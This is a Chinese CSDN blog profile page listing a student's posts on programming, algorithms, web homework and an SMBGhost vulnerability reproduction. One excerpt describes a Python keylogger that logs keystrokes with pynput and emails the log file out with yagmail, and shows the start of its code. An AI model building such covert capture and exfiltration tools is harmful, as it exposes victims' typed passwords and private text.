自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(32)
  • 资源 (3)
  • 收藏
  • 关注

原创 Win10搭建深度学习环境(Pytorch1.7.1+cu110 ;Python3.7;Anaconda;CUDA12.2;显卡NVIDIA GeForce RTX 3060

请一定要相信我,按照我的步骤来绝对能成功搭建环境!!!

2023-12-20 15:05:10 604 1

原创 永恒之黑漏洞复现

永痕之黑漏洞复现

2022-11-12 19:25:14 9976 6

原创 基于wxpython和wxformbuilder实现的简单2-8-10-16进制转换器,并用pyinstaller打包

  日常的学习生活中常常会用到进制转换如2-8-10-16互转,笔算当然可以解决但长度过长的时候难免会有些计算繁琐,当然在线的进制转换网站一大堆,主要想每次需要用到时不想再百度找。进制转换用Python实现很简单,设计一个简单的界面,打包成可执行文件方便使用,于是用wxFormBuilder构建转换器的UI界面,用wxpython库实现完整的功能。

2022-08-21 11:59:01 511

原创 Python键盘监视与自动发QQ邮箱

最近有一个有趣的想法,利用pynput监控键盘输入并写入文本文件,再利用yagmail将该文件发送到指定的邮箱,显然这是有安全漏洞的(吹灯拔蜡),下午在图书馆想着把它实现出来,实在是水平有限,预期与理想是有很大差别。# 1.实现监控键盘的输入# 监控键盘from pynput.keyboard import Listenerfilename = 'D:\\key.txt'# 按下键盘def on_press(key): string1 = str(key).replace("'",

2021-11-28 18:49:55 459

原创 单片机—西北工业大学电子实习

一天的单片机电子实习挺有趣的,特别是老师拿出的机器狗,俄罗斯方块单片机,太强了。上午的电子实习主要是写流水灯,有七个样例只需要写出来五个就能拿到四分,下午是做电子表,实现基础功能拿到四分,在增加一些功能如闹钟,日历等可以加分。此外在写交通表也可以加分。#1.流水灯#include<stc8a.h>#include<intrins.h>#define uchar unsigned char#define uint unsigned int sbit k1 = P3 ^

2021-11-19 19:32:54 9550 8

原创 听听音乐,远离网易云!

import reimport osimport requestsheaders = { 'User-Agent': 'Chrome/10'}def creat_file(filename): if not os.path.exists(filename): os.mkdir(filename) os.chdir(filename)def main(): print('许嵩的ID:5771') ID = input('请输入你喜欢

2021-09-21 20:15:46 314

原创 仿射密码加密解密(C语言)

仿射密码是一种古典移位密码,其算法设计师用到的数学基础是模运算和同余方程。它是一个字母对一个字母的加密密码。定义明文空间P=Z26 P={\rm Z}_{26} P=Z26​ ,密文空间C=Z26 C={\rm Z}_{26} C=Z26​ ,秘钥空间为K={(a,b)∈Z26⋅Z26:gcd(a,26)=1} K=\lbrace (a,b)\in {\rm Z}_{26} \cdot {\rm Z}_{26}:gcd(a,26)=1 \rbraceK={(a,b)∈Z26​⋅Z26​:gcd(a,26)=

2021-09-17 17:57:26 5988

原创 欧几里德算法与拓展欧几里德算法及其应用(C语言)

1.欧几里得算法(Euclidean Algorithm)又称辗转相除法,是指用于计算两个非负整数a,b的最大公约数。计算公式: gcd(a,b) = gcd(b , a mod b)*#include <stdio.h>#include <stdlib.h>//欧几里德算法int gcd(int x,int y){ int maxn,minn; maxn=x>y?x:y; minn=x>y?y:x; while(minn!=

2021-09-17 17:05:36 1857

原创 Python—简单图书管理系统

1.zhuce

2021-09-13 22:33:39 2096

原创 卸载WPS后Office文档图标显示异常

#WPS流氓软件!!!#WPS流氓软件!!!#WPS流氓软件!!!卸载WPS办公软件后Windows自带的office文档的图标会发生变化(变为白色),打开系统注册表发现Windows自带的.docx,.Excel,.PPT,.xlsx的默认途径发生改变,恢复图标的解决方法:1、win+R , 输入regedit,打开系统注册表;2、找到HKEY_CLASSES_ROOT的.doc、.docx、.ppt、.pptx、.xls、.xlsx,删除。3、找到HKEY_CLASSES_ROOT下的 Word

2021-08-10 17:08:25 5953 18

原创 我的第一个爬虫—爬取自己在CSDN上写的文章名称及链接

写在前面,初学爬虫,解释器为Python 3.9.6 ,编辑器pycharm 社区版。1.导入urllib库和 BeautifulSoup 库#urllib 是 Python 的标准库#urlopen用来打开并读取一个从网络获取的远程对象。#它可以轻松读取 HTML 文件、图像文件,或其他任何文件流'''beautifulsoup 库,通过定位 HTML 标签来格式化和组织复杂的网络信息,用简单易用的 Python 对象为我们展现 XML 结构信息'''from urllib.request

2021-08-08 13:28:22 708 3

原创 turtle—‘小小爱心火柴人’

这两天在学习Python的turtle,昨天下午用 goto() 语句画了一个火柴人,今天改进了一下,并加了两个爱心。#改进前代码from turtle import *#color("red", "yellow")bgcolor('azure')pensize(10)pencolor("yellow")goto(0,100)color("yellow","pink")begin_fill()circle(30)end_fill()goto(0,0)goto(-70.7,-70.7

2021-08-05 16:11:42 3232 1

原创 python入门—‘函数,列表,简单分支,集合,字典‘

#简单分支:#range(start,stop,step)#range(num) (0,1,... , num-1)#range(sta,sto) (sta,sta+1,..., sto-1)#range(sta,sto,ste) (sta,sta+ste,...)#for 目标 in 表达式:member = ['a','b','c','d']for i in range(3): print(i) #0,1,2for i in range(1,5): print(i)

2021-08-03 18:11:48 168

原创 最长公共子序列—LCS

定义:给定一个序列X=(X1, X2 , … , Xn),另一个序列Z=(Z1, Z2, … , Zk)满足如下条件时称为X的子序列,即存在一个严格递增的X的下表序列(i1, i2, … , ik),对所有的 j=1,2, … ,k ,满足 Xi(j) =Zj。例如,Z={B, C, D, B}是X={A, B, C , B, D, A, B}的子序列,对应的下标为(2,3,5,7)。给定两个序列X和Y,如果Z既是X的子序列,也是Y的子序列,我们称它是X和Y的公共子序列(common subsequence

2021-07-30 12:47:23 176

原创 暑假刷题—ST表

ST表是一个用来解决 RMQ(区间最值)问题的算法,以求最小值为例:一个区间可以分为左区间和右区间区间最小值=min(左区间最小值,右区间最小值)令dp[i][j] 表示[i,i+2^j-1]区间的最小值,则 dp[i][j]=min(dp[i][j-1],dp[i+(1<<(j-1))][j-1])void init(){ //初始化 for(int j=1;j<=21;j++) for(int i=1;i+(1<<j)-1<=n;i

2021-07-26 14:44:52 112

原创 洛谷刷题记——DP引入

题解集背包问题的正逆序讲解01背包:dp[i][j] =max(dp[i-1][j-value[i]]+w[i] , dp[i-1][j])完全背包:dp[i][j] =max(dp[i][j-value[i]]+w[i] , dp[i-1][j])一维表现形式:f[i] = max(f[i], f[i-weight[j]] + value[j])完全背包应选择根据当前的状态值来更新本次的结果,所以正向循环01背包应选择根据上一次的状态值来更新本次的结果,所以逆向循环P1048 [NOIP20

2021-07-19 16:15:50 109

原创 西北工业大学——web方向第四次课作业——推箱子

HTML:<!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>gamebox</title> <link rel="stylesheet" type="text/css" href="css/666.css"/> <script type="text/javascript" src="js/123.js" charset="utf

2021-06-23 17:38:17 306

原创 数据结构复习

#数据存储结构1.顺序存储结构2.链式存储结构#栈1.先进后出。2.设输入序列长度为n(输入元素不相等),则经过栈的作用后可以得到 C(2n , n)/(n+1)。(排列公式,卡特兰数)#.二叉树1.二叉树中,第m层最多有2^(m-1)个结点(根结点为第一层)2.高度为k的二叉树至多有2^k-1个结点3.二叉树的叶结点(度为零)总数为n0,度为2的结点个数为n2,则n0=n2+14.具有n个结点的完全二叉树的深度为:log2(n)+15.具有n0个叶结点(度为零)和n1个度为1的二叉树

2021-06-23 11:24:55 2269 2

原创 信息课web方向——是心动呀!

HTML:<!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>心动</title> <style type="text/css"> @keyframes donghua{ from{ width: 100px; } to{ width: 250px; } } img{

2021-06-17 19:33:28 87

原创 网页跳转-信息课web方向

做了一个简单的网页,输入网站的拼音缩写,点击回车可以直接跳转到该网站,如“U校园”,则直接输入“uxy”,点击回车就行了。HTMl:<!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>大爱刘浩存</title> <link rel="stylesheet" type="text/css" href="./css/zhangxuze.css"/&

2021-06-17 18:46:44 2207

原创 noj.26 二叉排序树的合并

题目描述:分析:1.先序,创建二叉排序树。2.在二叉排序树中插入一个值。3.n 大于根节点在右子树中插入。4.n 小于根节点在左子树中插入。5.合并排序二叉树。6.中序输出合并后的排序二叉树。完整代码:#include <iostream>using namespace std;typedef struct bstnode{ int elem; struct bstnode *lchild,*rchild;}*bstree;//先序,创建二叉排序

2021-06-14 22:31:59 401 3

原创 noj.24 二叉排序树的判别

题目描述:1.空树的时候,输出yes。2.左子树的值<根节点的值<右子树的值。AC代码:#include <iostream>using namespace std;typedef struct bstnode{ int elem; struct bstnode *lchild,*rchild;}*bstree;//先序,创建二叉排序树bstree creat_bstree(bstree t){ int data; cin&

2021-06-14 22:25:31 186

原创 快速排序,堆排序和希尔排序

#快速排序#include <iostream>using namespace std;int a[1000],n;//一趟快排int quickpass(int a[],int l,int r){ int x; x=a[l]; while(l<r) { while(l<r&&a[r]>=x) r--; if(l<r) { a[l]=a[

2021-06-05 19:40:45 204 4

原创 noj.17-输出以二叉树表示的算术表达式

思路:先序输入,建立二叉树,中序输出表达式。建立二叉树的完整过程(加上#是为了方便理解全过程,实际生成的二叉树不含#):AC代码:#include <iostream>using namespace std;typedef struct bitnode{ char data; struct bitnode *lchild,*rchild;}*bitree;//创建树,先序bitree creat_tree(bitree T){ char c.

2021-05-06 22:49:09 153

原创 #动态规划 LeetCode5.最长回文子串

思路:动态规划:令 dp[i][j] 表示字符串从 (j,i) 是否为回文子串(j是起始位置,i是字符串相应的位置,起始位置从0开始),则dp[i][j] = 0(i,j)不是回文子串dp[i][j] = 1(i,j)是回文子串若dp[i][j]是回文子串有如下3个性质1.dp[i-1][j+1]是回文子串且s[i]==s[j];2.i-j<=2;’ a’是回文子串 i=j;'aa’是回文子串 i=j+1;'aba’是回文子串 i=j+2;3.回文子串.

2021-05-02 20:05:24 76

原创 #动态规划 Leetcode 64.最小路径和

思路:添加链接描述与LeetCode62题类似,此处的状态转移方程为:dp[ i ][ j ] = grid[ i ][ j ] + min ( dp[ i-1 ][ j ] , dp[ i ][ j-1] )完整代码:#include <iostream>#include<algorithm>using namespace std;#define maxn 300int m,n;int a[maxn][maxn],dp[maxn][maxn];.

2021-05-02 15:44:47 81

原创 noj.18 建立二叉树的二叉链表 #数据结构

思路:先序根——左——右中序左——根——右后序左——右——根1.在先序中找到根节点2.在中序中找到根节点3.求左子树的长度4.求右子树的长度5.建立左子树6.建立右子树7.输出后序AC代码:#include <iostream>#include<cstring>using namespace std;//建立二叉树struct btnode{ char data; struct btnode *lchi.

2021-05-02 14:51:44 467 1

原创 动态规划-LeetCode-62.不同路径 ,LeetCode-63.不同路径2

分析:1.定义数组元素的含义:设dp[i][j]表示从start走到(i,j)处的不同路径条数。start位置坐标(0,0),finish位置坐标(m-1,n-1).2.找出数组元素的关系:i.先考虑最后一步,只有两种可能,从(m-2,n-1)走到(m-1,n-1)和从(m-1,n-2)走到(m-1,n-1)。ii.dp[m-1][n-1] = dp[m-2][n-1] + dp[m-1][n-2]iii.对于一般位置(i,j) , i>0&&j>..

2021-04-28 19:46:21 123 2

原创 动态规划-硬币个数最少

问题描述:小光有三种硬币,分别面值c1,c2,c3元,每种硬币的数量足够多。小光去书店买一本书耗费n元的书,如何用最少个数的硬币正好付清,不需要店主找钱,若满足,输出最少的硬币个数;若不满足,输出0。分析:1.假设面额为1,2,5元,n=16;则最少的个数为4,即 1+5*3=16。2.小光付钱的过程中显然最后付的一个硬币数值有三种情况,分别是 1,2,5。假设数组 dp[i] 表示已付金额为 i 时使用的最少硬币个数,那么上述过程可以描述为:1dp[16] = dp[16-1]+1

2021-04-28 18:02:25 715

原创 noj.11-循环右移

思路:构造一个队列,队首元素出队再入队实现循环右移。这里使用循环队列。完整代码:#include <iostream>using namespace std;int n;#define max (n+1)//牺牲了一个空间typedef struct{ int a[100]; int len; int front; int rear;}queue;//初始化void initqueue(queue *q){ q->front=q.

2021-04-27 23:17:02 413

原创 noj.7-括号匹配

思路:括号匹配需要一一对应且从左向右遇到的第一个右括号需要与该右括号左边的第一个左括号类型匹配,即左小括号与右小括号,左中括号与右中括号,左大括号与右大括号匹配。不满足的情况有三种类型:1( ( )左右括号个数不同2( { ) }非法匹配13)()(非法匹配21.模拟括号匹配的过程,可以建立一个栈,遇到左括号进栈,遇到右括号则先判断栈是否为空,若栈为空输出no (对应表格中第三种情况),若栈不为空,将栈顶元素与该右括号进行匹配。如果匹配成功栈顶元素出栈,否则.

2021-04-27 22:45:12 272

原创 八皇后问题

八皇后问题问题:在8*8的国际象棋棋盘中放入八个皇后,任意两个皇后都不能互相吃掉,有多少种排法?012345670@1@2@3@4@5@6@7@上面的布局可以用序列 0 6 3 5 7 1 4 2来描述,第 i个数字表示在第 i行的相应位置有一个棋子,如下:行号 :0 1 2 3 4 5 6 7

2021-04-27 18:19:17 154

python实现的可人机可联机五子棋游戏

python 期末大作业,可人机可联机五子棋游戏。休闲益智!

2022-12-01

Python语言期末大作业——Google小恐龙游戏

Python语言期末大作业——Google小恐龙游戏,解压有趣音乐。

2022-06-05

Python语言期末大作业——外星人入侵

代码量多于300行,Python期末大作业

2022-06-05

C语言小游戏之“雷霆战机”.zip

C语言期末大作业

2021-08-17

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除